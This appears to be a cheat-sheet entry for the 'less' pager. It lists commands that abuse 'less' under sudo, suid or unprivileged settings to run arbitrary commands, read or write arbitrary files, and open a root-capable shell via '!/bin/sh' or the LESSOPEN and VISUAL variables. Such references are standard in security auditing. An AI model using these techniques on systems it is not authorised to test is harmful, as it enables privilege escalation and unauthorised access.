less

Command Execution

Context: unprivileged

cp /path/to/command ~/.lessfilter
less /etc/hosts

Context: sudo, unprivileged

LESSOPEN='/path/to/command # %s' less /etc/hosts

File Read

Context: sudo, suid, unprivileged

less /path/to/input-file

Context: sudo, suid, unprivileged

less /etc/hosts
:e /path/to/input-file

Context: sudo, unprivileged

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

File Write

Context: sudo, suid, unprivileged

echo DATA | less
s/path/to/output-file
q

Inherit

Context: sudo, suid, unprivileged

less /etc/hosts
v

Shell

Context: sudo, suid, unprivileged

less /etc/hosts
!/bin/sh

Context: sudo, unprivileged

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset

Context: sudo, unprivileged

VISUAL='/bin/sh -s --' less /etc/hosts
v